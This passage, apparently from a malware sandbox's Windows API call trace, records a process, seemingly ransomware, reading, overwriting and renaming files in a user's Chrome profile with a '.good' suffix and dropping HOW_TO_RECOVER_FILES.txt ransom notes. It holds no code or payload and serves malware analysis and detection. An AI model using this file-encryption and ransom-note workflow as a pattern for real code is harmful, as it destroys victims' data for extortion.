(dwNewMode=0x0, lpOldMode=0x208ed290) returned 1 [0217.504] GetFileType (hFile=0x808) returned 0x1 [0217.504] WriteFile (in: hFile=0x808, lpBuffer=0x375b978*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x208ed308, lpOverlapped=0x0 | out: lpBuffer=0x375b978*, lpNumberOfBytesWritten=0x208ed308*=0x10, lpOverlapped=0x0) returned 1 [0217.505] CloseHandle (hObject=0x808) returned 1 [0217.505] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\LOCK", nBufferLength=0x105, lpBuffer=0x208ecfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\LOCK", lpFilePart=0x0) returned 0x58 [0217.505] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\LOCK.gоod", nBufferLength=0x105, lpBuffer=0x208ecfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\LOCK.gоod", lpFilePart=0x0) returned 0x5d [0217.505] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed430) returned 1 [0217.505] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\LOCK" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\local storage\\leveldb\\lock"), fInfoLevelId=0x0, lpFileInformation=0x208ed510 | out: lpFileInformation=0x208ed510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb026922, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xeb026922, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x7dda2c01, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x10)) returned 1 [0217.505] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed3f0) returned 1 [0217.505] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\LOCK" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\local storage\\leveldb\\lock"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\LOCK.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\local storage\\leveldb\\lock.gоod")) returned 1 [0217.506] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\LOG", nBufferLength=0x105, lpBuffer=0x208ecfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\LOG", lpFilePart=0x0) returned 0x57 [0217.506] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed470) returned 1 [0217.506] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\LOG" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\local storage\\leveldb\\log"), fInfoLevelId=0x0, lpFileInformation=0x375cc30 | out: lpFileInformation=0x375cc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb026922, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xeb026922, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xf7cf3ec2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x46)) returned 1 [0217.506] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed430) returned 1 [0217.506] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\LOG", nBufferLength=0x105, lpBuffer=0x208ece00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\LOG", lpFilePart=0x0) returned 0x57 [0217.506] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed320) returned 1 [0217.506] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\LOG" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\local storage\\leveldb\\log"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0217.506] GetFileType (hFile=0x808) returned 0x1 [0217.506] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed290) returned 1 [0217.506] GetFileType (hFile=0x808) returned 0x1 [0217.506] GetFileSize (in: hFile=0x808, lpFileSizeHigh=0x208ed4c8 | out: lpFileSizeHigh=0x208ed4c8*=0x0) returned 0x46 [0217.506] ReadFile (in: hFile=0x808, lpBuffer=0x375cf30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x208ed3f8, lpOverlapped=0x0 | out: lpBuffer=0x375cf30*, lpNumberOfBytesRead=0x208ed3f8*=0x46, lpOverlapped=0x0) returned 1 [0218.396] CloseHandle (hObject=0x808) returned 1 [0218.427] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\LOG", nBufferLength=0x105, lpBuffer=0x208ece00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\LOG", lpFilePart=0x0) returned 0x57 [0218.427] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed320) returned 1 [0218.427] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\LOG" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\local storage\\leveldb\\log"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0218.944] GetFileType (hFile=0x808) returned 0x1 [0218.944] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed290) returned 1 [0218.944] GetFileType (hFile=0x808) returned 0x1 [0218.944] WriteFile (in: hFile=0x808, lpBuffer=0x371e8f0*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x208ed308, lpOverlapped=0x0 | out: lpBuffer=0x371e8f0*, lpNumberOfBytesWritten=0x208ed308*=0x50, lpOverlapped=0x0) returned 1 [0218.945] CloseHandle (hObject=0x808) returned 1 [0218.945] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\LOG", nBufferLength=0x105, lpBuffer=0x208ecfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\LOG", lpFilePart=0x0) returned 0x57 [0218.945] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\LOG.gоod", nBufferLength=0x105, lpBuffer=0x208ecfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\LOG.gоod", lpFilePart=0x0) returned 0x5c [0218.945] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed430) returned 1 [0218.945] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\LOG" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\local storage\\leveldb\\log"), fInfoLevelId=0x0, lpFileInformation=0x208ed510 | out: lpFileInformation=0x208ed510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb026922, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xeb026922, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x7eb70f79, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x50)) returned 1 [0218.945] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed3f0) returned 1 [0218.945] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\LOG" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\local storage\\leveldb\\log"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\LOG.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\local storage\\leveldb\\log.gоod")) returned 1 [0218.947] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\MANIFEST-000001", nBufferLength=0x105, lpBuffer=0x208ecfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\MANIFEST-000001", lpFilePart=0x0) returned 0x63 [0218.947] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed470) returned 1 [0218.947] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\MANIFEST-000001" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\local storage\\leveldb\\manifest-000001"), fInfoLevelId=0x0, lpFileInformation=0x371fba0 | out: lpFileInformation=0x371fba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb02903a, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xeb02903a, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xeb02903a, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x29)) returned 1 [0218.947] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed430) returned 1 [0218.947] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\MANIFEST-000001", nBufferLength=0x105, lpBuffer=0x208ece00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\MANIFEST-000001", lpFilePart=0x0) returned 0x63 [0218.947] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed320) returned 1 [0218.947] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\MANIFEST-000001" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\local storage\\leveldb\\manifest-000001"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0218.947] GetFileType (hFile=0x808) returned 0x1 [0218.947] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed290) returned 1 [0218.947] GetFileType (hFile=0x808) returned 0x1 [0218.947] GetFileSize (in: hFile=0x808, lpFileSizeHigh=0x208ed4c8 | out: lpFileSizeHigh=0x208ed4c8*=0x0) returned 0x29 [0218.947] ReadFile (in: hFile=0x808, lpBuffer=0x371fee8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x208ed3f8, lpOverlapped=0x0 | out: lpBuffer=0x371fee8*, lpNumberOfBytesRead=0x208ed3f8*=0x29, lpOverlapped=0x0) returned 1 [0218.948] CloseHandle (hObject=0x808) returned 1 [0218.976] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\MANIFEST-000001", nBufferLength=0x105, lpBuffer=0x208ece00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\MANIFEST-000001", lpFilePart=0x0) returned 0x63 [0218.976] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed320) returned 1 [0218.976] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\MANIFEST-000001" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\local storage\\leveldb\\manifest-000001"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0218.977] GetFileType (hFile=0x808) returned 0x1 [0218.977] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed290) returned 1 [0218.977] GetFileType (hFile=0x808) returned 0x1 [0218.977] WriteFile (in: hFile=0x808, lpBuffer=0x37975f8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x208ed308, lpOverlapped=0x0 | out: lpBuffer=0x37975f8*, lpNumberOfBytesWritten=0x208ed308*=0x30, lpOverlapped=0x0) returned 1 [0218.978] CloseHandle (hObject=0x808) returned 1 [0218.978] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\MANIFEST-000001", nBufferLength=0x105, lpBuffer=0x208ecfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\MANIFEST-000001", lpFilePart=0x0) returned 0x63 [0218.978] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\MANIFEST-000001.gоod", nBufferLength=0x105, lpBuffer=0x208ecfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\MANIFEST-000001.gоod", lpFilePart=0x0) returned 0x68 [0218.978] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed430) returned 1 [0218.978] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\MANIFEST-000001" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\local storage\\leveldb\\manifest-000001"), fInfoLevelId=0x0, lpFileInformation=0x208ed510 | out: lpFileInformation=0x208ed510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb02903a, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xeb02903a, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x7ebbd3e2, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x30)) returned 1 [0218.978] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed3f0) returned 1 [0218.978] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\MANIFEST-000001" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\local storage\\leveldb\\manifest-000001"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\MANIFEST-000001.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\local storage\\leveldb\\manifest-000001.gоod")) returned 1 [0218.979] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x208ed110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6c [0218.979] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed630) returned 1 [0218.979] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\local storage\\leveldb\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x808 [0218.979] GetFileType (hFile=0x808) returned 0x1 [0218.979] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed5a0) returned 1 [0218.979] GetFileType (hFile=0x808) returned 0x1 [0218.980] WriteFile (in: hFile=0x808, lpBuffer=0x379adb0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x208ed6f8, lpOverlapped=0x0 | out: lpBuffer=0x379adb0*, lpNumberOfBytesWritten=0x208ed6f8*=0x5d0, lpOverlapped=0x0) returned 1 [0220.151] CloseHandle (hObject=0x808) returned 1 [0220.151] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x208edb40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x64 [0220.151] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ee060) returned 1 [0220.151] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\local storage\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x808 [0220.152] GetFileType (hFile=0x808) returned 0x1 [0220.152] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208edfd0) returned 1 [0220.152] GetFileType (hFile=0x808) returned 0x1 [0220.153] WriteFile (in: hFile=0x808, lpBuffer=0x379d458*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x208ee128, lpOverlapped=0x0 | out: lpBuffer=0x379d458*, lpNumberOfBytesWritten=0x208ee128*=0x5d0, lpOverlapped=0x0) returned 1 [0220.153] CloseHandle (hObject=0x808) returned 1 [0220.154] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ee0f0) returned 1 [0220.154] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Data", nBufferLength=0x105, lpBuffer=0x208edb90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Data", lpFilePart=0x0) returned 0x47 [0220.154] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Data\\*", lpFindFileData=0x208ede10 | out: lpFindFileData=0x208ede10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x513a1ab9, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x513a1ab9, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x513a1ab9, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134af80 [0220.154] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x208eddd0 | out: lpFindFileData=0x208eddd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x513a1ab9, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x513a1ab9, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x513a1ab9, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.154] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x208eddd0 | out: lpFindFileData=0x208eddd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x513a1ab9, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xe7511354, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe7511354, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LevelDB", cAlternateFileName="")) returned 1 [0220.154] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x208eddd0 | out: lpFindFileData=0x208eddd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x513a1ab9, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xe7511354, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe7511354, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LevelDB", cAlternateFileName="")) returned 0 [0220.155] FindClose (in: hFindFile=0x134af80 | out: hFindFile=0x134af80) returned 1 [0220.155] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ee030) returned 1 [0220.155] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208edff0) returned 1 [0220.155] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ee0f0) returned 1 [0220.155] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Data", nBufferLength=0x105, lpBuffer=0x208edb90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Data", lpFilePart=0x0) returned 0x47 [0220.155] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Data\\*", lpFindFileData=0x208ede10 | out: lpFindFileData=0x208ede10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x513a1ab9, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x513a1ab9, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x513a1ab9, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a8c0 [0220.155] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x208eddd0 | out: lpFindFileData=0x208eddd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x513a1ab9, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x513a1ab9, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x513a1ab9, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.155] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x208eddd0 | out: lpFindFileData=0x208eddd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x513a1ab9, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xe7511354, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe7511354, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LevelDB", cAlternateFileName="")) returned 1 [0220.155] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x208eddd0 | out: lpFindFileData=0x208eddd0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0220.155] FindClose (in: hFindFile=0x134a8c0 | out: hFindFile=0x134a8c0) returned 1 [0220.155] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ee030) returned 1 [0220.155] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208edff0) returned 1 [0220.156] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed6c0) returned 1 [0220.156] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Data\\LevelDB", nBufferLength=0x105, lpBuffer=0x208ed160, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Data\\LevelDB", lpFilePart=0x0) returned 0x4f [0220.156] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Data\\LevelDB\\*", lpFindFileData=0x208ed3e0 | out: lpFindFileData=0x208ed3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x513a1ab9, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xe7511354, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe7511354, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134abc0 [0220.157] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x513a1ab9, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xe7511354, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe7511354, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.158] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x515e12a0, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x515e12a0, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5776f89b, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="000003.log", cAlternateFileName="")) returned 1 [0220.158] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x513a1ab9, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x513a1ab9, ftLastAccessTime.dwHighDateTime=0x1d327ca, 